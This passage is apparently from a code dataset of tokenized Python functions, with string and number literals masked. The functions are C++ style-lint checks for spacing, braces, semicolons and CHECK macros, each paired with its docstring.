<NUM_LIT:4>,<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Checks for common mistakes in comments.\n\n    Args:\n      line: The line in question.\n      filename: The name of the current file.\n      linenum: The number of the line to check.\n      next_line_start: The first non-whitespace column of the next line.\n      error: The function to call with any errors found.", "id": "f7245:m53"}
{"signature": "def CheckAccess(filename, clean_lines, linenum, nesting_state, error):", "body": "line = clean_lines.elided[linenum]  <EOL>matched = Match((r'<STR_LIT>'<EOL>r'<STR_LIT>'), line)<EOL>if not matched:<EOL><INDENT>return<EOL><DEDENT>if nesting_state.stack and isinstance(nesting_state.stack[-<NUM_LIT:1>], _ClassInfo):<EOL><INDENT>if nesting_state.stack[-<NUM_LIT:1>].access != '<STR_LIT>':<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:3>,<EOL>'<STR_LIT>' % matched.group(<NUM_LIT:1>))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "Checks for improper use of DISALLOW* macros.\n\n    Args:\n      filename: The name of the current file.\n      clean_lines: A CleansedLines instance containing the file.\n      linenum: The number of the line to check.\n      nesting_state: A NestingState instance which maintains information about\n                     the current stack of nested blocks being parsed.\n      error: The function to call with any errors found.", "id": "f7245:m54"}
{"signature": "def CheckSpacing(filename, clean_lines, linenum, nesting_state, error):", "body": "<EOL>raw = clean_lines.lines_without_raw_strings<EOL>line = raw[linenum]<EOL>if (IsBlankLine(line) and<EOL>not nesting_state.InNamespaceBody() and<EOL>not nesting_state.InExternC()):<EOL><INDENT>elided = clean_lines.elided<EOL>prev_line = elided[linenum - <NUM_LIT:1>]<EOL>prevbrace = prev_line.rfind('<STR_LIT:{>')<EOL>if prevbrace != -<NUM_LIT:1> and prev_line[prevbrace:].find('<STR_LIT:}>') == -<NUM_LIT:1>:<EOL><INDENT>exception = False<EOL>if Match(r'<STR_LIT>', prev_line):  <EOL><INDENT>search_position = linenum-<NUM_LIT:2><EOL>while (search_position >= <NUM_LIT:0><EOL>and Match(r'<STR_LIT>', elided[search_position])):<EOL><INDENT>search_position -= <NUM_LIT:1><EOL><DEDENT>exception = (search_position >= <NUM_LIT:0><EOL>and elided[search_position][:<NUM_LIT:5>] == '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>exception = (Match(r'<STR_LIT>',<EOL>prev_line)<EOL>or Match(r'<STR_LIT>', prev_line))<EOL><DEDENT>if not exception:<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:2>,<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT>if linenum + <NUM_LIT:1> < clean_lines.NumLines():<EOL><INDENT>next_line = raw[linenum + <NUM_LIT:1>]<EOL>if (next_line<EOL>and Match(r'<STR_LIT>', next_line)<EOL>and next_line.find('<STR_LIT>') == -<NUM_LIT:1>):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:3>,<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT>matched = Match(r'<STR_LIT>', prev_line)<EOL>if matched:<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:3>,<EOL>'<STR_LIT>' % matched.group(<NUM_LIT:1>))<EOL><DEDENT><DEDENT>next_line_start = <NUM_LIT:0><EOL>if linenum + <NUM_LIT:1> < clean_lines.NumLines():<EOL><INDENT>next_line = raw[linenum + <NUM_LIT:1>]<EOL>next_line_start = len(next_line) - len(next_line.lstrip())<EOL><DEDENT>CheckComment(line, filename, linenum, next_line_start, error)<EOL>line = clean_lines.elided[linenum]<EOL>if Search(r'<STR_LIT>', line) and not Search(r'<STR_LIT>', line):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:5>,<EOL>'<STR_LIT>')<EOL><DEDENT>if (Search(r'<STR_LIT>', line) or<EOL>Search(r'<STR_LIT>', line)):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:2>,<EOL>'<STR_LIT>')<EOL><DEDENT>", "docstring": "Checks for the correctness of various spacing issues in the code.\n\n    Things we check for: spaces around operators, spaces after\n    if/for/while/switch, no spaces around parens in function calls, two\n    spaces between code and comment, don't start a block with a blank\n    line, don't end a function with a blank line, don't add a blank line\n    after public/protected/private, don't have too many blank lines in a row.\n\n    Args:\n      filename: The name of the current file.\n      clean_lines: A CleansedLines instance containing the file.\n      linenum: The number of the line to check.\n      nesting_state: A NestingState instance which maintains information about\n                     the current stack of nested blocks being parsed.\n      error: The function to call with any errors found.", "id": "f7245:m55"}
{"signature": "def CheckOperatorSpacing(filename, clean_lines, linenum, error):", "body": "line = clean_lines.elided[linenum]<EOL>while True:<EOL><INDENT>match = Match(r'<STR_LIT>', line)<EOL>if match:<EOL><INDENT>line = match.group(<NUM_LIT:1>) + ('<STR_LIT:_>' * len(match.group(<NUM_LIT:2>))) + match.group(<NUM_LIT:3>)<EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>if ((Search(r'<STR_LIT>', line) or<EOL>Search(r'<STR_LIT>', line))<EOL>and not Search(r'<STR_LIT>', line)<EOL>and not Search(r'<STR_LIT>', line)<EOL>and not Search(r'<STR_LIT>', line)):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:4>,<EOL>'<STR_LIT>')<EOL><DEDENT>match = Search(r'<STR_LIT>', line)<EOL>if match:<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:3>,<EOL>'<STR_LIT>' % match.group(<NUM_LIT:1>))<EOL><DEDENT>elif not Match(r'<STR_LIT>', line):<EOL><INDENT>match = Match(r'<STR_LIT>', line)<EOL>if match:<EOL><INDENT>(_, _, end_pos) = CloseExpression(<EOL>clean_lines, linenum, len(match.group(<NUM_LIT:1>)))<EOL>if end_pos <= -<NUM_LIT:1>:<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:3>,<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT>match = Match(r'<STR_LIT>', line)<EOL>if match:<EOL><INDENT>(_, _, start_pos) = ReverseCloseExpression(<EOL>clean_lines, linenum, len(match.group(<NUM_LIT:1>)))<EOL>if start_pos <= -<NUM_LIT:1>:<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:3>,<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT>match = Search(r'<STR_LIT>', line)<EOL>if (match and not (match.group(<NUM_LIT:1>).isdigit() and match.group(<NUM_LIT:2>).isdigit()) and<EOL>not (match.group(<NUM_LIT:1>) == '<STR_LIT>' and match.group(<NUM_LIT:2>) == '<STR_LIT:;>')):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:3>,<EOL>'<STR_LIT>')<EOL><DEDENT>match = Search(r'<STR_LIT>', line)<EOL>if match:<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:3>,<EOL>'<STR_LIT>')<EOL><DEDENT>match = Search(r'<STR_LIT>', line)<EOL>if match:<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:4>,<EOL>'<STR_LIT>' % match.group(<NUM_LIT:1>))<EOL><DEDENT>", "docstring": "Checks for horizontal spacing around operators.\n\n    Args:\n      filename: The name of the current file.\n      clean_lines: A CleansedLines instance containing the file.\n      linenum: The number of the line to check.\n      error: The function to call with any errors found.", "id": "f7245:m56"}
{"signature": "def CheckParenthesisSpacing(filename, clean_lines, linenum, error):", "body": "line = clean_lines.elided[linenum]<EOL>match = Search(r'<STR_LIT>', line)<EOL>if match:<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:5>,<EOL>'<STR_LIT>' % match.group(<NUM_LIT:1>))<EOL><DEDENT>match = Search(r'<STR_LIT>'<EOL>r'<STR_LIT>',<EOL>line)<EOL>if match:<EOL><INDENT>if len(match.group(<NUM_LIT:2>)) != len(match.group(<NUM_LIT:4>)):<EOL><INDENT>if not (match.group(<NUM_LIT:3>) == '<STR_LIT:;>' and<EOL>len(match.group(<NUM_LIT:2>)) == <NUM_LIT:1> + len(match.group(<NUM_LIT:4>)) or<EOL>not match.group(<NUM_LIT:2>) and Search(r'<STR_LIT>', line)):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:5>,<EOL>'<STR_LIT>' % match.group(<NUM_LIT:1>))<EOL><DEDENT><DEDENT>if len(match.group(<NUM_LIT:2>)) not in [<NUM_LIT:0>, <NUM_LIT:1>]:<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:5>,<EOL>'<STR_LIT>' %<EOL>match.group(<NUM_LIT:1>))<EOL><DEDENT><DEDENT>", "docstring": "Checks for horizontal spacing around parentheses.\n\n    Args:\n      filename: The name of the current file.\n      clean_lines: A CleansedLines instance containing the file.\n      linenum: The number of the line to check.\n      error: The function to call with any errors found.", "id": "f7245:m57"}
{"signature": "def CheckCommaSpacing(filename, clean_lines, linenum, error):", "body": "raw = clean_lines.lines_without_raw_strings<EOL>line = clean_lines.elided[linenum]<EOL>if (Search(r'<STR_LIT>', ReplaceAll(r'<STR_LIT>', '<STR_LIT>', line)) and<EOL>Search(r'<STR_LIT>', raw[linenum])):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:3>,<EOL>'<STR_LIT>')<EOL><DEDENT>if Search(r'<STR_LIT>', line):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:3>,<EOL>'<STR_LIT>')<EOL><DEDENT>", "docstring": "Checks for horizontal spacing near commas and semicolons.\n\n    Args:\n      filename: The name of the current file.\n      clean_lines: A CleansedLines instance containing the file.\n      linenum: The number of the line to check.\n      error: The function to call with any errors found.", "id": "f7245:m58"}
{"signature": "def _IsType(clean_lines, nesting_state, expr):", "body": "<EOL>last_word = Match(r'<STR_LIT>', expr)<EOL>if last_word:<EOL><INDENT>token = last_word.group(<NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>token = expr<EOL><DEDENT>if _TYPES.match(token):<EOL><INDENT>return True<EOL><DEDENT>typename_pattern = (r'<STR_LIT>' + re.escape(token) +<EOL>r'<STR_LIT>')<EOL>block_index = len(nesting_state.stack) - <NUM_LIT:1><EOL>while block_index >= <NUM_LIT:0>:<EOL><INDENT>if isinstance(nesting_state.stack[block_index], _NamespaceInfo):<EOL><INDENT>return False<EOL><DEDENT>last_line = nesting_state.stack[block_index].starting_linenum<EOL>next_block_start = <NUM_LIT:0><EOL>if block_index > <NUM_LIT:0>:<EOL><INDENT>next_block_start = nesting_state.stack[block_index - <NUM_LIT:1>].starting_linenum<EOL><DEDENT>first_line = last_line<EOL>while first_line >= next_block_start:<EOL><INDENT>if clean_lines.elided[first_line].find('<STR_LIT>') >= <NUM_LIT:0>:<EOL><INDENT>break<EOL><DEDENT>first_line -= <NUM_LIT:1><EOL><DEDENT>if first_line < next_block_start:<EOL><INDENT>block_index -= <NUM_LIT:1><EOL>continue<EOL><DEDENT>for i in xrange(first_line, last_line + <NUM_LIT:1>, <NUM_LIT:1>):<EOL><INDENT>if Search(typename_pattern, clean_lines.elided[i]):<EOL><INDENT>return True<EOL><DEDENT><DEDENT>block_index -= <NUM_LIT:1><EOL><DEDENT>return False<EOL>", "docstring": "Check if expression looks like a type name, returns true if so.\n\n    Args:\n      clean_lines: A CleansedLines instance containing the file.\n      nesting_state: A NestingState instance which maintains information about\n                     the current stack of nested blocks being parsed.\n      expr: The expression to check.\n    Returns:\n      True, if token looks like a type.", "id": "f7245:m59"}
{"signature": "def CheckBracesSpacing(filename, clean_lines, linenum, nesting_state, error):", "body": "line = clean_lines.elided[linenum]<EOL>match = Match(r'<STR_LIT>', line)<EOL>if match:<EOL><INDENT>leading_text = match.group(<NUM_LIT:1>)<EOL>(endline, endlinenum, endpos) = CloseExpression(<EOL>clean_lines, linenum, len(match.group(<NUM_LIT:1>)))<EOL>trailing_text = '<STR_LIT>'<EOL>if endpos > -<NUM_LIT:1>:<EOL><INDENT>trailing_text = endline[endpos:]<EOL><DEDENT>for offset in xrange(endlinenum + <NUM_LIT:1>,<EOL>min(endlinenum + <NUM_LIT:3>, clean_lines.NumLines() - <NUM_LIT:1>)):<EOL><INDENT>trailing_text += clean_lines.elided[offset]<EOL><DEDENT>if (not Match(r'<STR_LIT>', trailing_text)<EOL>and not _IsType(clean_lines, nesting_state, leading_text)):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:5>,<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT>if Search(r'<STR_LIT>', line):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:5>,<EOL>'<STR_LIT>')<EOL><DEDENT>if Search(r'<STR_LIT>', line):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:5>,<EOL>'<STR_LIT>')<EOL><DEDENT>elif Search(r'<STR_LIT>', line):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:5>,<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>elif (Search(r'<STR_LIT>', line) and<EOL>not Search(r'<STR_LIT>', line)):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:5>,<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>", "docstring": "Checks for horizontal spacing near commas.\n\n    Args:\n      filename: The name of the current file.\n      clean_lines: A CleansedLines instance containing the file.\n      linenum: The number of the line to check.\n      nesting_state: A NestingState instance which maintains information about\n                     the current stack of nested blocks being parsed.\n      error: The function to call with any errors found.", "id": "f7245:m60"}
{"signature": "def IsDecltype(clean_lines, linenum, column):", "body": "(text, _, start_col) = ReverseCloseExpression(clean_lines, linenum, column)<EOL>if start_col < <NUM_LIT:0>:<EOL><INDENT>return False<EOL><DEDENT>if Search(r'<STR_LIT>', text[<NUM_LIT:0>:start_col]):<EOL><INDENT>return True<EOL><DEDENT>return False<EOL>", "docstring": "Check if the token ending on (linenum, column) is decltype().\n\n    Args:\n      clean_lines: A CleansedLines instance containing the file.\n      linenum: the number of the line to check.\n      column: end column of the token to check.\n    Returns:\n      True if this token is decltype() expression, False otherwise.", "id": "f7245:m61"}
{"signature": "def CheckSectionSpacing(filename, clean_lines, class_info, linenum, error):", "body": "<EOL>if (class_info.last_line - class_info.starting_linenum <= <NUM_LIT> or<EOL>linenum <= class_info.starting_linenum):<EOL><INDENT>return<EOL><DEDENT>matched = Match(r'<STR_LIT>', clean_lines.lines[linenum])<EOL>if matched:<EOL><INDENT>prev_line = clean_lines.lines[linenum - <NUM_LIT:1>]<EOL>if (not IsBlankLine(prev_line) and<EOL>not Search(r'<STR_LIT>', prev_line) and<EOL>not Search(r'<STR_LIT>', prev_line)):<EOL><INDENT>end_class_head = class_info.starting_linenum<EOL>for i in range(class_info.starting_linenum, linenum):<EOL><INDENT>if Search(r'<STR_LIT>', clean_lines.lines[i]):<EOL><INDENT>end_class_head = i<EOL>break<EOL><DEDENT><DEDENT>if end_class_head < linenum - <NUM_LIT:1>:<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:3>,<EOL>'<STR_LIT>' % matched.group(<NUM_LIT:1>))<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Checks for additional blank line issues related to sections.\n\n    Currently the only thing checked here is blank line before protected/private.\n\n    Args:\n      filename: The name of the current file.\n      clean_lines: A CleansedLines instance containing the file.\n      class_info: A _ClassInfo objects.\n      linenum: The number of the line to check.\n      error: The function to call with any errors found.", "id": "f7245:m62"}
{"signature": "def GetPreviousNonBlankLine(clean_lines, linenum):", "body": "prevlinenum = linenum - <NUM_LIT:1><EOL>while prevlinenum >= <NUM_LIT:0>:<EOL><INDENT>prevline = clean_lines.elided[prevlinenum]<EOL>if not IsBlankLine(prevline):     <EOL><INDENT>return (prevline, prevlinenum)<EOL><DEDENT>prevlinenum -= <NUM_LIT:1><EOL><DEDENT>return ('<STR_LIT>', -<NUM_LIT:1>)<EOL>", "docstring": "Return the most recent non-blank line and its line number.\n\n    Args:\n      clean_lines: A CleansedLines instance containing the file contents.\n      linenum: The number of the line to check.\n\n    Returns:\n      A tuple with two elements.  The first element is the contents of the last\n      non-blank line before the current line, or the empty string if this is the\n      first non-blank line.  The second is the line number of that line, or -1\n      if this is the first non-blank line.", "id": "f7245:m63"}
{"signature": "def CheckBraces(filename, clean_lines, linenum, error):", "body": "line = clean_lines.elided[linenum]        <EOL>if Match(r'<STR_LIT>', line):<EOL><INDENT>prevline = GetPreviousNonBlankLine(clean_lines, linenum)[<NUM_LIT:0>]<EOL>if (not Search(r'<STR_LIT>', prevline) and<EOL>not Match(r'<STR_LIT>', prevline) and<EOL>not (GetLineWidth(prevline) > _line_length - <NUM_LIT:2> and '<STR_LIT>' in prevline)):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:4>,<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT>if Match(r'<STR_LIT>', line):<EOL><INDENT>prevline = GetPreviousNonBlankLine(clean_lines, linenum)[<NUM_LIT:0>]<EOL>if Match(r'<STR_LIT>', prevline):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:4>,<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT>if Search(r'<STR_LIT>', line):       <EOL><INDENT>brace_on_left = bool(Search(r'<STR_LIT>', line))<EOL>pos = line.find('<STR_LIT>')<EOL>pos = line.find('<STR_LIT:(>', pos)<EOL>if pos > <NUM_LIT:0>:<EOL><INDENT>(endline, _, endpos) = CloseExpression(clean_lines, linenum, pos)<EOL>brace_on_right = endline[endpos:].find('<STR_LIT:{>') != -<NUM_LIT:1><EOL>if brace_on_left != brace_on_right:    <EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:5>,<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT>elif Search(r'<STR_LIT>', line) or Match(r'<STR_LIT>', line):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:5>,<EOL>'<STR_LIT>')<EOL><DEDENT>if Search(r'<STR_LIT>', line) and not Search(r'<STR_LIT>', line):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:4>,<EOL>'<STR_LIT>')<EOL><DEDENT>if Match(r'<STR_LIT>', line):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:4>,<EOL>'<STR_LIT>')<EOL><DEDENT>if_else_match = Search(r'<STR_LIT>', line)<EOL>if if_else_match and not Match(r'<STR_LIT>', line):<EOL><INDENT>if_indent = GetIndentLevel(line)<EOL>endline, endlinenum, endpos = line, linenum, if_else_match.end()<EOL>if_match = Search(r'<STR_LIT>', line)<EOL>if if_match:<EOL><INDENT>pos = if_match.end() - <NUM_LIT:1><EOL>(endline, endlinenum, endpos) = CloseExpression(clean_lines, linenum, pos)<EOL><DEDENT>if (not Match(r'<STR_LIT>', endline[endpos:])<EOL>and not (Match(r'<STR_LIT>', endline[endpos:])<EOL>and endlinenum < (len(clean_lines.elided) - <NUM_LIT:1>)<EOL>and Match(r'<STR_LIT>', clean_lines.elided[endlinenum + <NUM_LIT:1>]))):<EOL><INDENT>while (endlinenum < len(clean_lines.elided)<EOL>and '<STR_LIT:;>' not in clean_lines.elided[endlinenum][endpos:]):<EOL><INDENT>endlinenum += <NUM_LIT:1><EOL>endpos = <NUM_LIT:0><EOL><DEDENT>if endlinenum < len(clean_lines.elided):<EOL><INDENT>endline = clean_lines.elided[endlinenum]<EOL>endpos = endline.find('<STR_LIT:;>')<EOL>if not Match(r'<STR_LIT>', endline[endpos:]):<EOL><INDENT>if not Match(r'<STR_LIT>',<EOL>endline):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:4>,<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT>elif endlinenum < len(clean_lines.elided) - <NUM_LIT:1>:<EOL><INDENT>next_line = clean_lines.elided[endlinenum + <NUM_LIT:1>]<EOL>next_indent = GetIndentLevel(next_line)<EOL>if (if_match and Match(r'<STR_LIT>', next_line)<EOL>and next_indent != if_indent):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:4>,<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>elif next_indent > if_indent:<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:4>,<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "Looks for misplaced braces (e.g. at the end of line).\n\n    Args:\n      filename: The name of the current file.\n      clean_lines: A CleansedLines instance containing the file.\n      linenum: The number of the line to check.\n      error: The function to call with any errors found.", "id": "f7245:m64"}
{"signature": "def CheckTrailingSemicolon(filename, clean_lines, linenum, error):", "body": "line = clean_lines.elided[linenum]<EOL>match = Match(r'<STR_LIT>', line)<EOL>if match:<EOL><INDENT>closing_brace_pos = match.group(<NUM_LIT:1>).rfind('<STR_LIT:)>')<EOL>opening_parenthesis = ReverseCloseExpression(<EOL>clean_lines, linenum, closing_brace_pos)<EOL>if opening_parenthesis[<NUM_LIT:2>] > -<NUM_LIT:1>:<EOL><INDENT>line_prefix = opening_parenthesis[<NUM_LIT:0>][<NUM_LIT:0>:opening_parenthesis[<NUM_LIT:2>]]<EOL>macro = Search(r'<STR_LIT>', line_prefix)<EOL>func = Match(r'<STR_LIT>', line_prefix)<EOL>if ((macro and<EOL>macro.group(<NUM_LIT:1>) not in (<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>')) or<EOL>(func and not Search(r'<STR_LIT>', func.group(<NUM_LIT:1>))) or<EOL>Search(r'<STR_LIT>', line_prefix) or<EOL>Search(r'<STR_LIT>', line_prefix) or<EOL>Search(r'<STR_LIT>', line_prefix)):<EOL><INDENT>match = None<EOL><DEDENT><DEDENT>if (match and<EOL>opening_parenthesis[<NUM_LIT:1>] > <NUM_LIT:1> and<EOL>Search(r'<STR_LIT>', clean_lines.elided[opening_parenthesis[<NUM_LIT:1>] - <NUM_LIT:1>])):<EOL><INDENT>match = None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>match = Match(r'<STR_LIT>', line)<EOL>if not match:<EOL><INDENT>prevline = GetPreviousNonBlankLine(clean_lines, linenum)[<NUM_LIT:0>]<EOL>if prevline and Search(r'<STR_LIT>', prevline):<EOL><INDENT>match = Match(r'<STR_LIT>', line)<EOL><DEDENT><DEDENT><DEDENT>if match:<EOL><INDENT>(endline, endlinenum, endpos) = CloseExpression(<EOL>clean_lines, linenum, len(match.group(<NUM_LIT:1>)))<EOL>if endpos > -<NUM_LIT:1> and Match(r'<STR_LIT>', endline[endpos:]):<EOL><INDENT>raw_lines = clean_lines.raw_lines<EOL>ParseNolintSuppressions(filename, raw_lines[endlinenum-<NUM_LIT:1>], endlinenum-<NUM_LIT:1>,<EOL>error)<EOL>ParseNolintSuppressions(filename, raw_lines[endlinenum], endlinenum,<EOL>error)<EOL>error(filename, endlinenum, '<STR_LIT>', <NUM_LIT:4>,<EOL>\"<STR_LIT>\")<EOL><DEDENT><DEDENT>", "docstring": "Looks for redundant trailing semicolon.\n\n    Args:\n      filename: The name of the current file.\n      clean_lines: A CleansedLines instance containing the file.\n      linenum: The number of the line to check.\n      error: The function to call with any errors found.", "id": "f7245:m65"}
{"signature": "def CheckEmptyBlockBody(filename, clean_lines, linenum, error):", "body": "<EOL>line = clean_lines.elided[linenum]<EOL>matched = Match(r'<STR_LIT>', line)<EOL>if matched:<EOL><INDENT>(end_line, end_linenum, end_pos) = CloseExpression(<EOL>clean_lines, linenum, line.find('<STR_LIT:(>'))<EOL>if end_pos >= <NUM_LIT:0> and Match(r'<STR_LIT:;>', end_line[end_pos:]):<EOL><INDENT>if matched.group(<NUM_LIT:1>) == '<STR_LIT>':<EOL><INDENT>error(filename, end_linenum, '<STR_LIT>', <NUM_LIT:5>,<EOL>'<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>error(filename, end_linenum, '<STR_LIT>', <NUM_LIT:5>,<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT>if end_pos >= <NUM_LIT:0> and matched.group(<NUM_LIT:1>) == '<STR_LIT>':<EOL><INDENT>opening_linenum = end_linenum<EOL>opening_line_fragment = end_line[end_pos:]<EOL>while not Search(r'<STR_LIT>', opening_line_fragment):<EOL><INDENT>if Search(r'<STR_LIT>', opening_line_fragment):<EOL><INDENT>return<EOL><DEDENT>opening_linenum += <NUM_LIT:1><EOL>if opening_linenum == len(clean_lines.elided):<EOL><INDENT>return<EOL><DEDENT>opening_line_fragment = clean_lines.elided[opening_linenum]<EOL><DEDENT>opening_line = clean_lines.elided[opening_linenum]<EOL>opening_pos = opening_line_fragment.find('<STR_LIT:{>')<EOL>if opening_linenum == end_linenum:<EOL><INDENT>opening_pos += end_pos<EOL><DEDENT>(closing_line, closing_linenum, closing_pos) = CloseExpression(<EOL>clean_lines, opening_linenum, opening_pos)<EOL>if closing_pos < <NUM_LIT:0>:<EOL><INDENT>return<EOL><DEDENT>if (clean_lines.raw_lines[opening_linenum] !=<EOL>CleanseComments(clean_lines.raw_lines[opening_linenum])):<EOL><INDENT>return<EOL><DEDENT>if closing_linenum > opening_linenum:<EOL><INDENT>bodylist = list(opening_line[opening_pos+<NUM_LIT:1>:])<EOL>bodylist.extend(clean_lines.raw_lines[opening_linenum+<NUM_LIT:1>:closing_linenum])<EOL>bodylist.append(clean_lines.elided[closing_linenum][:closing_pos-<NUM_LIT:1>])<EOL>body = '<STR_LIT:\\n>'.join(bodylist)<EOL><DEDENT>else:<EOL><INDENT>body = opening_line[opening_pos+<NUM_LIT:1>:closing_pos-<NUM_LIT:1>]<EOL><DEDENT>if not _EMPTY_CONDITIONAL_BODY_PATTERN.search(body):<EOL><INDENT>return<EOL><DEDENT>current_linenum = closing_linenum<EOL>current_line_fragment = closing_line[closing_pos:]<EOL>while Search(r'<STR_LIT>', current_line_fragment):<EOL><INDENT>if Search(r'<STR_LIT>', current_line_fragment):<EOL><INDENT>return<EOL><DEDENT>current_linenum += <NUM_LIT:1><EOL>if current_linenum == len(clean_lines.elided):<EOL><INDENT>break<EOL><DEDENT>current_line_fragment = clean_lines.elided[current_linenum]<EOL><DEDENT>error(filename, end_linenum, '<STR_LIT>', <NUM_LIT:4>,<EOL>('<STR_LIT>'))<EOL><DEDENT><DEDENT>", "docstring": "Look for empty loop/conditional body with only a single semicolon.\n\n    Args:\n      filename: The name of the current file.\n      clean_lines: A CleansedLines instance containing the file.\n      linenum: The number of the line to check.\n      error: The function to call with any errors found.", "id": "f7245:m66"}
{"signature": "def FindCheckMacro(line):", "body": "for macro in _CHECK_MACROS:<EOL><INDENT>i = line.find(macro)<EOL>if i >= <NUM_LIT:0>:<EOL><INDENT>matched = Match(r'<STR_LIT>' + macro + r'<STR_LIT>', line)<EOL>if not matched:<EOL><INDENT>continue<EOL><DEDENT>return (macro, len(matched.group(<NUM_LIT:1>)))<EOL><DEDENT><DEDENT>return (None, -<NUM_LIT:1>)<EOL>", "docstring": "Find a replaceable CHECK-like macro.\n\n    Args:\n      line: line to search on.\n    Returns:\n      (macro name, start position), or (None, -1) if no replaceable\n      macro is found.", "id": "f7245:m67"}
{"signature": "def CheckCheck(filename, clean_lines, linenum, error):", "body": "<EOL>lines = clean_lines.elided<EOL>(check_macro, start_pos) = FindCheckMacro(lines[linenum])<EOL>if not check_macro:<EOL><INDENT>return<EOL><DEDENT>(last_line, end_line, end_pos) = CloseExpression(<EOL>clean_lines, linenum, start_pos)<EOL>if end_pos < <NUM_LIT:0>:<EOL><INDENT>return<EOL><DEDENT>if not Match(r'<STR_LIT>', last_line[end_pos:]):<EOL><INDENT>return<EOL><DEDENT>if linenum == end_line:<EOL><INDENT>expression = lines[linenum][start_pos + <NUM_LIT:1>:end_pos - <NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>expression = lines[linenum][start_pos + <NUM_LIT:1>:]<EOL>for i in xrange(linenum + <NUM_LIT:1>, end_line):<EOL><INDENT>expression += lines[i]<EOL><DEDENT>expression += last_line[<NUM_LIT:0>:end_pos - <NUM_LIT:1>]<EOL><DEDENT>lhs = '<STR_LIT>'<EOL>rhs = '<STR_LIT>'<EOL>operator = None<EOL>while expression:<EOL><INDENT>matched = Match(r'<STR_LIT>'<EOL>r'<STR_LIT>', expression)<EOL>if matched:<EOL><INDENT>token = matched.group(<NUM_LIT:1>)<EOL>if token == '<STR_LIT:(>':<EOL><INDENT>expression = matched.group(<NUM_LIT:2>)<EOL>(end, _) = FindEndOfExpressionInLine(expression, <NUM_LIT:0>, ['<STR_LIT:(>'])<EOL>if end < <NUM_LIT:0>:<EOL><INDENT>return  <EOL><DEDENT>lhs += '<STR_LIT:(>' + expression[<NUM_LIT:0>:end]<EOL>expression = expression[end:]<EOL><DEDENT>elif token in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>return<EOL><DEDENT>elif token in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>lhs += token<EOL>expression = matched.group(<NUM_LIT:2>)<EOL><DEDENT>else:<EOL><INDENT>operator = token<EOL>rhs = matched.group(<NUM_LIT:2>)<EOL>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>matched = Match(r'<STR_LIT>', expression)<EOL>if not matched:<EOL><INDENT>matched = Match(r'<STR_LIT>', expression)<EOL>if not matched:<EOL><INDENT>break<EOL><DEDENT><DEDENT>lhs += 